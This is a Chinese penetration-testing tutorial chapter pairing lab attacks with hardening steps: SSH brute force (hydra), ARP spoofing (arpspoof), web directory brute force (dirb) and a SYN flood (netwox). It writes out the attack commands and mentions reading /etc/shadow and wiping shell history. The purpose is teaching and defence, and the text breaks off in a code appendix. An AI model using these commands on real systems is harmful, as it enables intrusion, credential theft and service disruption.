5. 威脅建模階段
- 目標
- 了解威脅建模階段的工作內容
工作內容
威脅建模主要使用在情報搜集階段所獲取到的信息,來標識出目標系統上可能存在的安全漏洞與弱點。
在進行威脅建模時,確定最為高效的攻擊方法、所需要進一步獲取到的信息,以及從哪里攻破目標系統。
6. 漏洞分析階段
- 目標
- 了解漏洞分析階段的工作
工作內容
在漏洞分析階段,綜合從前面的幾個環節中獲取到信息,并從中分析和理解哪些攻擊途徑會是可行的。
特別是需要重點分析端口和漏洞掃描結果,獲取到的服務“旗標”信息,以及在情報搜集環節中得到的其他關鍵信息。
7. 滲透攻擊階段
- 目標
- 了解本階段的工作內容
工作內容
滲透攻擊可能是在滲透測試過程中最有魅力的環節,然而在實際情況下往往沒有你所預想的那么“一帆風順”,而往往是“曲徑通幽”。
最好是在你基本上能夠確信特定滲透攻擊會成功的時候,才真正對目標系統實施這次滲透攻擊,當然在目標系統中可能存在著一些你沒有預期到的安全防護措施,使得這次滲透攻擊無法成功。
7.1. 遠程登錄攻防實戰 -- ssh篇
- 目標
- 了解hydra工具的基本用法
- 了解常用口令字典的來源
- 掌握應對遠程登錄暴力破解的基本防護手段
7.1.1. 概述
linux系統多用于服務器操作系統, 這種場景下,一般通過ssh來進行遠程管理。
像Telnet、Rlogin等傳統遠程管理工具,由于其采用明文傳輸,數據信息容易被竊聽,考慮到安全合規要求,一般會被禁用。
-
滲透測試目標
通過踩點、掃描后,確定滲透目標主機, 利用暴力破解工具, 對滲透目標主機的ssh服務進行暴力破解。
-
環境
- 滲透主機:Kali linux系統
- 滲透靶機: 。。。。。。(通過搜集情報獲取。)
7.1.2. 小試牛刀
我們先實戰,操作一遍后,再介紹概念。
- 踩點
通過踩點,確認滲透目標主機
$ nmap -sP 192.168.16.0/24
- 掃描
對確定目標主機, 進行掃描,獲取端口信息
$ nmap -sS 192.168.16.204
對確定的服務進一步掃描,獲取其服務指紋
$ nmap -sV -p 22 192.168.16.204
- 查點
此步可省略, 但對于ssh, 可通過telnet獲取服務版本信息,作為對掃描服務指紋的補充和驗證
$ telnet 192.168.16.204 22
- 暴力攻擊
$ hydra -l msfadmin -P passwd.txt -e nsr -vV -o ssh_ok.log 192.168.16.204 ssh
命令說明:
-l msfadmin: 指定用戶名msfadmin
-P passwd.txt: 指定字典文件passwd.txt
-e nsr: 額外檢查,n 代表空口令, s代表用戶名, r代表用戶名稱逆序(反向)
-vV: 顯示詳細過程
-o ssh_ok.log: 輸出login/passwd 對到ssh_ok.log
192.168.16.204: 靶機IP地址
ssh: 被攻擊的協議
-
提權 or 后門
-
? 討論, 利用
-
添加用戶到root組、sudo組。
-
查看/etc/shawdow文件, 獲取口令的哈希數據
-
修改 /etc/resolv.conf , ??? 影響啥?
-
掩蹤滅跡
舉例: 查看 ~/.bash_history, 清除部分命令操作,不建議直接刪除文件
itcast@itcast $ vi ~/.bash_history 。。。。
- 滲透報告
。。。。。
7.1.3. Hydra 工具介紹
Hydra 是Kali Linux中一款很受歡迎的密碼破解工具,支持多種協議的攻擊, 基本用法可以通過man hydra 來查看,
- 基本用法
hydra -l 用戶 -P 密碼字典 -t 32 -e nsr -vV -o ssh_ok.log IP ssh-l/-L 指定用戶名-l, 或者-L 指定用戶名字典(用戶名列表)
-p/-P 指定用戶口令-p,或者-P 指定用戶口令字典(用戶口令列表)
-t : 指定并行任務數量,默認16
-e: 額外檢查,n 代表空口令, s代碼用戶名, r代碼用戶名稱逆序(反向)
-vV: 顯示詳細過程
-o: 輸出login/passwd 對到指定的文件
IP: 靶機IP地址
ssh: 被攻擊的協議(服務名稱, telnet、ftp、pop3、ssh...)
在hydra工具中, 如果用戶名不知道,需要使用用戶字典, 但會增加暴力破解難度。 因此,隱藏用戶名也是一種好的防護手段。
7.1.4. 口令字典
從上面的實戰中,可知, 暴力破解的成功與否、效率高低,關鍵是看”口令字典“是否給力。下圖是常用的用戶和弱口令
?
?
那么我們常用的字典有三種獲取方式
- kali 默認自帶的字典
$ ls /usr/share/wordlists/rockyou.txt
- 開源屆提供的字典
在網絡上,提供了很多可以使用的”現成“的口令字典, 下載就好
-
cupp工具生成字典
下載字典
itcast@itcast $ cupp -lChoose the section you want to download:1 Moby 14 french 27 places2 afrikaans 15 german 28 polish3 american 16 hindi 39 random4 aussie 17 hungarian 30 religion5 chinese 18 italian 31 russian6 computer 19 japanese 32 science7 croatian 20 latin 33 spanish8 czech 21 literature 34 swahili9 danish 22 movieTV 35 swedish10 databases 23 music 36 turkish11 dictionaries 24 names 37 yiddish12 dutch 25 net 38 exit program13 finnish 26 norwegian
生成口令字典: 根據實踐情況輸入即可, 默認回車即可
itcast@itcast $ cupp -i[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)> First Name: a
> Surname:
7.1.5. 安全防護
了解了遠程登錄如何暴力破解后, 我們看看如何運用我們之前學習的防護機制。來對系統進行”安全加固“(有稱安全增強)
- 禁止默認用戶(root)登錄
從前面hadry工具中, 我們可以看到,需要提供用戶名?(或用戶字典/列表), 可見,如果Attacker無法用默認root用戶登錄的話, 那么將增加Attacker的攻擊難度。
修改/etc/ssh/sshd_config
文件: 禁用root登錄
Tony.Guo@2018-03-13 15:38:28 $ sudo vi /etc/ssh/sshd_configPermitRootLogin yes改為 :PermitRootLogin no
- 限定可登錄的用戶列表
對于多普通用戶的場景,建議可遠程登錄用戶許可,可遠程登錄的用戶越少,Attacker猜對用戶名的概率越低, 相應來說,越安全。
可通過白名單, 列出允許登錄的用戶名稱列表。
itcast@itcast $ sudo vi /etc/ssh/sshd_config#添加AllowUsers xxxuser1 xxxuser2
也可通過黑名單的, 列出禁止登錄的用戶列表(黑白名單用一個就好)
itcast@itcast $ sudo vi /etc/ssh/sshd_config#添加DenyUsers root xxxuser1 xxxuser2
注意: 修改sshd_config
后, 需要重啟ssh服務,才能生效。
傳統方法:
itcast@itcast $ sudo /etc/init.d/ssh restart
systemd方法
itcast@itcast $ sudo systemctl restart ssh.service
- ssh服務鑒權次數限定
對于允許登錄的用戶,可以通過ssh鑒權失敗次數,來增加對抗暴力破解的難度
itcast@itcast $ sudo vi /etc/ssh/sshd_config# 添加(默認6次)
MaxAuthTries 3
注意, 這個選項的作用,在口令輸入錯誤超過設定次數后, 主動斷開鏈接,但允許client端再次發起鏈接。
此種方式在應對口令破解中,可以增加破解的時間開銷, 并不能完全避免口令被暴力破解。 但是,由于口令破解的時間加長,也就給了IDS/IPS(入侵檢測系統)反應的時間。便于系統運維人員采取措施。
- 鑒權失敗鎖定用戶帳號
當用戶鑒權失敗到達指定次數時,鎖定用戶帳號一定時間。 在用戶帳號的鎖定時間內,不接受用戶口令鑒權。此項功能通過pam_tally實現
itcast@itcast $ sudo vi /etc/pam.d/sshd#添加auth required pam_tally.so per_user unlock_time=300 onerr=succeed audit deny=5
選項解讀:
unlock_time=300: 鎖定帳號300秒onerr=succeed: 當鑒權失敗時,返回PAM_SUCCESSaudit: 當用戶名不存在時,將用戶名寫入入系統logdeny=5 : 用戶鑒權失敗超過5次鎖定
-
小結
本文介紹了hydra 工具的基本用法,通過hydra工具,結合滲透測試流程, 對滲透目標主機進行暴力破解實戰。
以及,結合Linux安全防護機制, 對系統進行安全加固,提高系統安全性。 以及在linux下,應對口令破解的幾種防護方法。未作原理性展開描述。
7.2. 中間人攻擊--ARP欺騙實戰
- 目標
- 了解ARP協議的工作原理
- 了解arpspoof的基本用法
- 了解ARP攻擊防護的基本方法
7.2.1. ARP 協議介紹
ARP協議通過IP地址來查找主機的物理地址(也就是MAC地址)。
在一個以太網交換網絡內,主機A希望能與主機B進行交流(需要獲取主機B的MAC地址)。
所以主機A通過交換機對整個網絡進行廣播,然后使用地址解析協議找到目標主機B的MAC地址。
盡管整個廣播域下都能收到主機A發送的信息,但只有B主機才會回復ARP請求,將自己的MAC地址發給主機A。
如下圖:
ARP請求:
在上述場景下, 主機A的ARP請求發送一個廣播給所有同網絡的主機, 目標MAC為全F
ARP響應:
主機B進行相應,其中包含主機B的MAC地址(主機B也在同一網段內)。
注意,?我們在主機A和主機B通信時,提供的是IP地址,那么,在每次通信前,都需要進行獲取主機B的MAC地址, 這樣,效率低下。為了解決這個問題(IP到MAC地址的映射), 在主機A維護了ARP緩存表,如下所示
itcast@itcast $ arp
Address HWtype HWaddress Flags Mask Iface
localhost ether 14:75:90:50:57:db CM wlp2s0
localhost ether 14:75:90:50:57:db C wlp2s0
所以:所有的主機維護他們自己的ARP緩存表,所以不會每一次都發送ARP廣播,ARP表中包含IP對應的MAC地址。
7.2.2. ARP 欺騙
ARP 欺騙也稱作ARP毒化、ARP緩存中毒,ARP欺騙攻擊。
就是是在內網的中間人攻擊。ARP欺騙采取的優勢是通過ARP協議欺騙,達到對整個網絡進行欺騙。
- 中間人攻擊?就是攻擊者扮演中間人并且實施攻擊。它有時被稱為monkey-in-the-middle, 這其實是一個危險的攻擊,它可以劫持一段會話,我們叫它會話劫持。它可以竊取憑證和其他機密信息,即使使用了SSL加密。
ARP欺騙攻擊建立在局域網主機間相互信任的基礎上的
當A發廣播詢問:我想知道IP是192.168.16.202的硬件地址是多少?
此時B當然會回話:我是IP192.168.16.202,我的硬件地址是mac-b,
可是此時IP地址是192.168.16.30的C也非法回了:我是IP192.168.16.202,我的硬件地址是mac-c。而且是大量的。
所以A就會誤信192.168.0.3的硬件地址是mac-c,而且動態更新緩存表
這樣主機C就劫持了主機A發送給主機B的數據,這就是ARP欺騙的過程。
7.2.3. 小試牛刀
- 環境
主機A: 192.168.16.25 mac-a?靶機
主機B:192.168.16.202 mac-b?一般主機,替代網關
主機C: 192.168.16.30: e0:db:55:f0:07:d0(mac-c)?攻擊機
描述: 主機A 和 主機B 正常通信, 主機C開展欺騙, 冒充主機B的MAC地址,劫持由A發往B的數據,
-
主機A , ping 主機B, 向B發送數據
-
在主機B, 開啟嗅探工具,此時應有數據
-
此時,主機C開啟嗅探工具, 抓主機A的包,應該沒有數據
-
主機C開始ARP攻擊, 告訴A, 我是B。。。。。
arpspoof -i enp8s0 -t 192.168.16.25 192.168.16.202
一次不行,多發幾次
- 查看 A 的ARP緩存,看192.168.16.202的MAC地址是否變為mac-c, 主機C是否捕獲到數據
7.2.4. ARPSPOOF 攻擊介紹
arpspoof是一個非常好的ARP欺騙的源代碼程序。它的運行不會影響整個網絡的通信,該工具通過替換傳輸中的數據從而達到對目標的欺騙。
- 基本用法
arpspoof -i <網卡名> -t <欺騙的目標> <我是誰>
7.2.5. ARP欺騙防護
一般采用MAC地址綁定的措施,來進行防護,簡單說,就是綁定MAC + IP地址。
- 查看當前arp緩存列表
itcast@itcast $ sudo arp -a
localhost (192.168.108.1) at 7c:25:87:00:6b:6c [ether] on wlp2s0
localhost (192.168.108.19) at b8:63:4d:20:16:46 [ether] on wlp2s0
- 創建 ip mac地址對文件
itcast@itcast $ touch ip-mac
itcast@itcast $ echo "192.168.108.1 7c:25:87:00:6b:6c" > ./ip-mac
itcast@itcast $ cat ip-mac
192.168.108.1 7c:25:87:00:6b:6c
- 綁定地址
命令直接設置
itcast@itcast $ sudo arp -s 192.168.0.108 14:75:90:50:57:db
itcast@itcast $ sudo arp -f ip-mac
itcast@itcast $ sudo arp -a
localhost (192.168.108.1) at 7c:25:87:00:6b:6c [ether] PERM on wlp2s0
localhost (192.168.108.19) at b8:63:4d:20:16:46 [ether] on wlp2s0
也可以查看如下格式:
itcast@itcast $ sudo arp -v
Address HWtype HWaddress Flags Mask Iface
localhost ether 7c:25:87:00:6b:6c CM wlp2s0
localhost ether b8:63:4d:20:16:46 C wlp2s0
Entries: 2 Skipped: 0 Found: 2
標志解讀
Address:主機的IP地址
Hwtype:主機的硬件類型
Hwaddress:主機的硬件地址
Flags Mask:記錄標志,“C“表示arp高速緩存中的條目,“M“表示靜態的arp條目
7.3. Web滲透測試實戰-敏感信息獲取
-
目標
- 了解Web服務中的敏感數據(文件)的含義
- 了解web滲透測試的基本方法
- 知道web敏感信息暴力破解中常用字典的獲取方法
7.3.1. 概述
-
滲透目標
通過踩點、掃描確認目標主機后, 利用暴力破擊方式, 獲取目標網站的敏感信息(文件/目錄)
-
滲透環境
- 滲透主機: Kali Linux
- 滲透靶機: testphp.vulnweb.com
-
滲透測試思路、典型方法
方法也很簡單(笨辦法^_^), 選用一本強大的web content(內容?)字典,進行暴力破解, 當web應用存在該目錄或文件返回200, 收集這個域名下的所有鏈接,然后總結出需要的信息。
7.3.2. 牛刀小試
- 踩點, 目標主機在線存活
我們先看看我們目標靶機是否在線存活
itcast@itcast $ nmap -sP testphp.vulnweb.comStarting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:12 CSTNmap scan report for testphp.vulnweb.com (176.28.50.165)Host is up (0.31s latency).rDNS record for 176.28.50.165: rs202995.rs.hosteurope.deNmap done: 1 IP address (1 host up) scanned in 1.01 seconds
看到?Host is up?, 說明我們的目標靶機是“開機”的
- 收集目標網站的域名信息
itcast@itcast $ whois vulnweb.comDomain Name: VULNWEB.COMRegistry Domain ID: 1602006391_DOMAIN_COM-VRSNRegistrar WHOIS Server: whois.eurodns.comRegistrar URL: http://www.EuroDNS.comUpdated Date: 2018-06-08T03:21:41Z....
Registrant Name: Acunetix Acunetix
Registrant Organization: Acunetix Ltd
Registrant Street: 3rd Floor,, J&C Building,, Road Town
還可以通過, dnsenum --enum查看一下。。。
- 收集目標網站的路由信息
Panda.Guo@2018-09-13 15:10:17 $ traceroute testphp.vulnweb.com
traceroute to testphp.vulnweb.com (176.28.50.165), 30 hops max, 60 byte packets1 localhost (192.168.108.1) 2.209 ms 4.255 ms 7.187 ms2 localhost (192.168.1.1) 9.886 ms 9.910 ms 12.460 ms3 114.253.32.1 (114.253.32.1) 16.996 ms 17.033 ms 18.413 ms4 114.244.94.153 (114.244.94.153) 21.890 ms 26.294 ms 26.812 ms5 61.148.157.229 (61.148.157.229) 24.500 ms 25.120 ms 26.881 ms6 61.49.214.9 (61.49.214.9) 28.980 ms 61.49.214.13 (61.49.214.13) 8.499 ms 202.96.12.125 (202.96.12.125) 13.376 ms7 219.158.18.66 (219.158.18.66) 10.832 ms 219.158.5.150 (219.158.5.150) 13.958 ms 219.158.5.154 (219.158.5.154) 14.509 ms8 219.158.3.178 (219.158.3.178) 11.402 ms 11.958 ms 12.529 ms9 219.158.102.222 (219.158.102.222) 153.957 ms 154.554 ms 219.158.107.118 (219.158.107.118) 363.002 ms
10 219.158.33.194 (219.158.33.194) 359.260 ms 359.972 ms 360.540 ms
11 ffm-bb3-link.telia.net (62.115.142.204) 361.447 ms 362.067 ms 343.842 ms
12 ffm-b1-link.telia.net (62.115.121.11) 302.515 ms ffm-b1-link.telia.net (62.115.141.239) 296.007 ms ffm-b1-link.telia.net (62.115.121.7) 294.861 ms
13 ae2.cr-nunki.sxb1.core.heg.com (62.115.144.9) 296.593 ms 297.198 ms 297.926 ms
14 * * ae0-v100.sr-sol.sxb1.mass.systems (87.230.112.3) 277.378 ms
15 rsn0517.rs1.hosteurope.de (5.35.227.35) 411.602 ms * 410.955 ms
16 rs202995.rs.hosteurope.de (176.28.50.165) 407.578 ms 408.197 ms 407.258 ms
- 滲透目標機系統指紋
itcast@itcast $ sudo nmap -O testphp.vulnweb.comStarting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:15 CST.....Device type: storage-misc|broadband router|WAP|general purpose|router|specialized|media deviceRunning (JUST GUESSING): HP embedded (95%), AVM FritzOS 6.X (93%), Linux 2.6.X|2.4.X (92%), Ubiquiti embedded (92%), MikroTik RouterOS 5.X (92%), Synology DiskStation Manager 3.X (91%), Priva embedded (91%), Sony embedded (91%)......
我主要看Running, 從上面Guessing可以看出, nmap老兄也是猜的,且還猜出好幾個版本^_^.
- 掃描目標靶機是否開啟了web服務
itcast@itcast $ sudo nmap -p 80 www.baidu.comStarting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:51 CSTNmap scan report for www.baidu.com (61.135.169.125)Host is up (0.0067s latency).Other addresses for www.baidu.com (not scanned): 61.135.169.121PORT STATE SERVICE80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 0.60 seconds
從上面可以看出, 80端口已經開啟, 且提供web服務。
- 掃描目標靶機web服務指紋
itcast@itcast $ sudo nmap -A -T4 -p 80 testphp.vulnweb.comStarting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:42 CSTNmap scan report for testphp.vulnweb.com (176.28.50.165)Host is up (0.30s latency).rDNS record for 176.28.50.165: rs202995.rs.hosteurope.dePORT STATE SERVICE VERSION80/tcp open http nginx 1.4.1|_http-server-header: nginx/1.4.1|_http-title: Home of Acunetix ArtWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port。。。。。OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 22.86 secondsPanda.Guo@2018-08-06 16:42:50 $
從這一行80/tcp open http nginx 1.4.1
?, 可以看出, Web采用了nginx作為Service, 版本為1.4.1
小結一下: 至此我們獲取了如下信息, 一個目前主機處于運行狀態,采用nginx提供web服務, nginx版本為1.4.1.
- 敏感信息暴力破解
root@Kali-itcast: # dirb http://testphp.vulnweb.com ./all.txt -----------------
DIRB v2.22
By The Dark Raver
-----------------START_TIME: Fri Aug 10 12:53:31 2018
URL_BASE: http://testphp.vulnweb.com/
WORDLIST_FILES: ./all.txt-----------------GENERATED WORDS: 43104---- Scanning URL: http://testphp.vulnweb.com/ ----
==> DIRECTORY: http://testphp.vulnweb.com/CVS/
==> DIRECTORY: http://testphp.vulnweb.com/admin/
==> DIRECTORY: http://testphp.vulnweb.com/images/
+ http://testphp.vulnweb.com/index.php (CODE:200|SIZE:4096)
+ http://testphp.vulnweb.com/logout.php (CODE:200|SIZE:3965)
+ http://testphp.vulnweb.com/login.php
--> Testing: 。。。。
- 敏感信息獲取
一般可用過wget獲取
itcast@itcast $ wget -c http://testphp.vulnweb.com/login.php
7.3.3. dirb 工具介紹
dirb是kali linux提供的一個強大的web 內容掃描工具, 它查找現有的(和/或隱藏的)Web對象。它基本上是通過啟動一個字典來攻擊Web服務器并對響應進行分析。
- 基本用法
dirb <url_base> [<wordlist_file(s)>]url_base : url地址<wordlist_file(s)>: 字典
補充:
關于URL, Uniform Resource Locator , 統一資源定位符.
語法格式:協議://用戶名:密碼@子域名.域名.頂級域名:端口號/目錄/文件名.文件后綴?參數=值#標志
7.3.4. Web Content字典
- 默認字典
itcast@2018-09-13 17:56:21 $ls /usr/share/wordlists/dirb/
big.txt catala.txt common.txt
...
本次驗證,可選中common.txt
-
下載開源字典
本次我們選用開源的暴力破解工具字典SVN Digger項目,
官網:How to Create Better List for Forced Browsing with Dirbuster | Invicti,
使用其中的all.txt, 內容如下:
Panda.Guo@2018-08-06 10:12:39 $ more all.txt
common
CVS
root
Entries
lang
home.php
setup.php
install.txt
。。。。
7.3.5. 安全防護措施
坦白的說, 對于這種攻擊方式,沒有太好的防護措施,最主要的是如果不希望用戶獲取的敏感信息,就不要放到web服務目錄里, 如 .git, .svn等類似文件。
從入侵檢測角度,增加防護措施,對于服務器產生應答 404 Not Found等信息,進行檢測,如某針對某個IP總是應答該信息。則需要關注。
7.3.6. 知識拓展
-
OWASP 介紹
-
OWASP 是什么
- 一個項目: OWASP 全稱是:Open Web Application Security Project, 開放式Web應用程序安全項目。
- 一個組織:OWASP是一個開源的、非盈利的全球性安全組織,致力于應用軟件的安全研究。
- 組織的使命: 我們的使命是使應用軟件更加安全,使企業和組織能夠對應用安全風險作出更清晰的決策。
-
官方網站:
- OWASP Foundation, the Open Source Foundation for Application Security | OWASP Foundation
- Welcome to OWASP CHINA — OWASP-CHINA
-
為什么要了解OWASP呢?
- 在做一名安靜的Web滲透測試人員必備的8種素質和技能第二種素質提到: “Web滲透測試工程師應熟悉OWASP的TOP 10”, (10項最嚴重的 Web 應用程序安全風險)。 可見, 作為一名“未來非知名的專業Web滲透測試人士,我們還是要了解一點OWASP的。
在我提供給大家的參考資料中, 《OWASPTop102017v1.3.pdf》, 有關于2017年的OWASP Top10:
?每年關于應用安全風險的Top10 還是會有所差異, 下圖是關于2013年和2017年的對比情況
?
- 滲透靶機:vulnweb.com介紹
vulnweb.com 是一個由Acunetix公司維護的網站, 該網站提供了一些存在漏洞的WEB應用,可讓你用來進行滲透測試,驗證自己的測試工具。
Acunetix是馬耳他的全球排名前三的漏洞掃描廠商,同類產品包括Nessus, Qualys,這兩款屬于美國知名的漏洞掃描軟件廠商。 -- 百度百科
- 獲取系統 or 應用的版本的重要性
我在上面滲透測試過程中, 獲取了應用程序的版本號, 那么這個版本號,對我們滲透測試人員,有何意義呢?
在這里給大家介紹一個我們國家維護的的”國家信息安全漏洞共享平臺“?http://www.cnvd.org.cn
在這個安全漏洞共享平臺上, 會定期發布關于漏洞信息、補丁信息、安全公告等有關的信息。
下面選取了一個 CNVD-2014-06347這個漏洞信息的截圖 , 詳細信息可見:?http://www.cnvd.org.cn/flaw/show/CNVD-2014-06347
?
?
這是個關于”nginx SSL會話固定漏洞“, 在漏洞描述中, 提到”nginx 0.5.6-1.7.4版本在實現上存在會話固定漏洞“, 也就是這些個版本,都存有該漏洞。 對于這個信息:
- 作為安全防護人員, 如果你系統nginx當前版本, 位于“0.5.6-1.7.4”區間, 那么就需要對nginx進行安全升級。
- 作為滲透測試人員, 如果你發現滲透靶機的nginx版本位于“0.5.6-1.7.4”區間,那么就意味著,該靶機的nginx可能存有“nginx SSL會話固定漏洞"(萬一系統維護人員沒有及時升級呢), 滲透攻擊驗證一下就好了。
- 敏感文件/目錄
當我們對一個傳統的Web應用或者大型的電子商務系統進行滲透測試時, 一般不會完全掌握Web服務器上所有可以訪問的文件/目錄,以及文件/目錄的組織結構, 特別是敏感目錄/文件。
在這這種情況下,我們可以選擇部署一個“爬蟲”, 盡可能多的爬取網站中關于Web應用的信息。
注意, 所爬取的這些信息,都是網站公開的信息,也就是開發者所希望(允許)展現(暴露)的信息。
而我們呢, 更希望獲取一些開發者不希望軟件暴露的信息(功能), 也就是所謂的敏感目錄/文件, 包括:
- 可能導致源代碼泄露 的文件:常見有.git文件泄露,.svn文件泄露,.DB_store文件泄露,WEB*INF/web.xml泄露。
- 網站的管理員入口文件
- 其他一些敏感文件(.mdb,.excel,.word,.zip,.rar)
- 該Web應用的配置文件
- 調試文件
- 及其他瑣碎的安全文件等
結論一句話: 就是我們獲取該網站管理人員,不希望暴露的那些信息(文件)
7.4. 基于TCP協議的DDOS攻擊實戰
-
目標
- 了解DDOS攻擊的基本概念
- 了解TCP Flood攻擊的基本原理
- 了解原始套接字構建網絡包,實施TCP Flood攻擊的基本方法
- 掌握TCP Flood攻擊的防護手段
7.4.1. 概述
我們先了解一些概念。。。。
-
傳輸控制協議-TCP
TCP(Transmission Control Protocol) 傳輸控制協議是TCP/IP協議棧的核心協議,它位于IP協議層之上,在網絡上的兩臺計算機之間提供可靠的、有序的通信通道。許多應用比如瀏覽器、SSH、Telnet、Email等使用TCP進行通信。TCP協議處于為應用提供主機到主機通信服務的傳輸層。
一般我們講TCP提供可靠的有連接服務,這個可靠包括三層含義
- 數據有序傳輸- 丟包重傳機制- 流量控制機制
- 分布式拒絕服務-DDOS
DOS
DoS是Denial of Service的簡稱,即拒絕服務,造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網絡無法提供正常的服務。最常見的DoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。
DDOS?(DDoS:Distributed Denial of Service)攻擊指借助于客戶/服務器技術,將多個計算機聯合起來作為攻擊平臺,對一個或多個目標發動DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。
DDoS攻擊通過大量合法的請求占用大量網絡資源,以達到癱瘓網絡的目的。 這種攻擊方式可分為以下幾種:
- 通過使網絡過載來干擾甚至阻斷正常的網絡通訊;
- 通過向服務器提交大量請求,使服務器超負荷;
- 阻斷某一用戶訪問服務器;
- 阻斷某服務與特定系統或個人的通訊。
7.4.2. TCP協議的工作原理
我們通過一個簡單的TCP client程序和TCP Server程序來展示TCP建立連接、數據傳輸、斷開連接的過程。以下這兩個程序中,為了能清晰說明程序的通信過程,不做容錯處理,力求簡單。工作當中這樣的程序是不能正常工作的。
-
掀開數據傳輸的面紗
一旦連接建立, OS分別為Client端和Server端申請兩個Buffer, 一個是SendBuffer,用于發送數據,一個是ReceiveBuffer,用于接收數據。 TCP協議是全雙工的,兩端都可以發送和接收數據。詳細流程見下圖:
?
這里面有幾個問題,我們此處并不會對TCP協議完整展開解釋,選取和我們后續課程相關重點的描述一下:
-
TCP提供面向連接的服務, 連接的建立過程在下一章節中,重點描述。
-
數據有序傳輸? 每個數據包編個序號,數據包到達主機可能錯序,在傳輸層調整順序后上傳。
-
丟包重傳機制:引入滑動窗口機制, 窗口內的數據如果沒有接到應答ack, “超時”進行重傳
-
流量控制機制:引入滑動窗口機制后,接收端實時通知發送端當前自己接受窗口大小,從而約束發送端的發送,進行流量控制
-
TCP Header
?
TCP 部分一般稱之為Segment, 數據段, (補充: 在應用層--消息、傳輸層--數據段Segment、網絡層--包/分組 packet、 鏈路層--幀frame、 物理層bits),對于TCP header的格式如上圖所述, 詳細解讀如下:
- 源端口號和目的端口號, 各占16bits- 32位序號 (seq)- 32位應答序號(ack)- TCP header長度: 4位, 以4字節度量, 故Header最長為64字節- 保留: 6位- 標志位: 6位, 包括 SYN、FIN、ACK、RST、PSH、URG- 滑動窗口: 16位, 可用于流量控制- 校驗: 16位- 緊急指針:16位, 當URG標志置位時, 此指針有效,用于帶外數據- 選項:0~320bits, 以32bits為單位,TCP可以通過options攜帶一些補充數據
我們講,TCP是面向連接的服務, 因此就存在建立連接, 斷開連接等操作。后續我們選取針對連接建立過程和連接斷開過程進行攻擊方面的展示。
7.4.3. TCP SYN Flood 攻擊實戰
-
TCP 建立連接(三次握手)
我們說TCP提供面向連接的服務, 因此數據發送前需要先通過三次握手建立連接:
-
第一次握手: 首先客戶端C(?)主動發起連接,發送SYN(連接請求標志), 以及序號SEQ=x(序號x隨機生成)到服務器端S。
-
第二次握手: 服務器端S接受到SYN后, 向客戶端C也發送SYN及ACK, 且ack=x+1, 以及序號Seq=y(序號y隨機生成)。
-
第三次握手: 客戶端接到SYN及ACK后, 核查ack是否為x+1, 若正確, 則客戶端C發送ACK 且ack=y+1,至服務器端S。
-
服務器端S接收到ACK,核查ack是否為y+1. 若正確,則連接正常建立。
三方握手建立連接的過程詳細見下圖
?
- SYN Flooding 攻擊
我們先用命令構建攻擊程序:
sudo netwox 76 -i 192.168.16.23 -p 23 -s raw
補充: Netwox是一款非常強大和易用的開源工具包,可以創造任意的TCP/UDP/IP數據報文。Netwox工具包中包含了超過200個不同功能的網絡報文生成工具,每個工具都擁有一個特定的編號。
在探討SYN攻擊之后,我們先看看linux內核對SYN是怎么處理的:
- Server接收到SYN連接請求。 內部維護一個隊列(我們暫稱之半連接隊列,半連接并不準確), 發送ack及syn給Client端,等待Client端的ack應答,接收到則完成三次握手建立連接。 如果接收不到ack應答,則根據延時重傳規則繼續發送ack及syn給客戶段。
利用上述特點。我們構造網絡包,源地址隨機構建,意味著當Server接到SYN包時,應答ack和syn時不會得到回應。在這種情況下, Server端,內核就會維持一個很大的隊列來管理這些半連接。 當半連接足夠多的時候,就會導致新來的正常連接請求得不到響應。 也就是所謂的DOS攻擊。
詳細見下圖所示:
?
了解了原理后, 我看看C代碼實現的攻擊程序效果,(代碼參見附錄)
7.4.4. SYN Flood 攻擊防護手段
-
tcp_max_syn_backlog: 半連接隊列長度
-
tcp_synack_retries: syn+ack 的重傳次數
-
tcp_syncookies : syn dookie
一般的防御措施就是就是減小SYN+ACK重傳次數,增加半連接隊列長度,啟用syn cookie。
不過在高強度攻擊面前,調優 tcp_syn_retries 和 tcp_max_syn_backlog 并不能解決根本問題,更有效的防御手段是激活 tcp_syncookies, 在連接真正創建起來之前,它并不會立刻給請求分配數據區存儲連接狀態,而是通過構建一個帶簽名的序號來屏蔽偽造請求。
7.4.5. 附錄
7.4.5.1. TCP Client 程序
一個客戶端程序大概如下幾個步驟:
-
創建一個socket,通過過指定參數SOCK_STREAM,來標識基于TCP傳輸, 如果需要用UDP協議的話,則需要指定SOCK_DGRAM. 特別指出,如果需要通過原始套接字進行通訊,需要指定SOCK_RAW。
-
指定地址信息, 在網絡上,我們通過IP地址和Port來標識一個特定主機上的進程,此處填寫Server端的IP地址和端號。
-
與Server建立連接, TCP是基于連接下協議,因此在數據傳輸之前,需要通過三次握手建立連接。
-
收發數據, 一旦連接建立成功,C/S兩端就可以通過write/send/sendto/sendmsg發送數據,可以通過read/recv/recvfrom/recvmsg/接收數據
-
關閉連接, 當數據收發完畢后,連接不在需要時,可以通過close斷開連接。
linux -網絡編程01一網絡基本概念和Socket編程_socket程序設計-CSDN博客
linux -網絡編程02-多線程并發服務器_linux多線程并發-CSDN博客?
詳細代碼連接如下:
????????
代碼示例:
????????
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/ip.h>#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>#define SER_ADDR "127.0.0.1"
#define SER_PORT 9999
//#define SER_ADDR "172.16.28.98"/* main function */
int main(int argc, char *argv[])
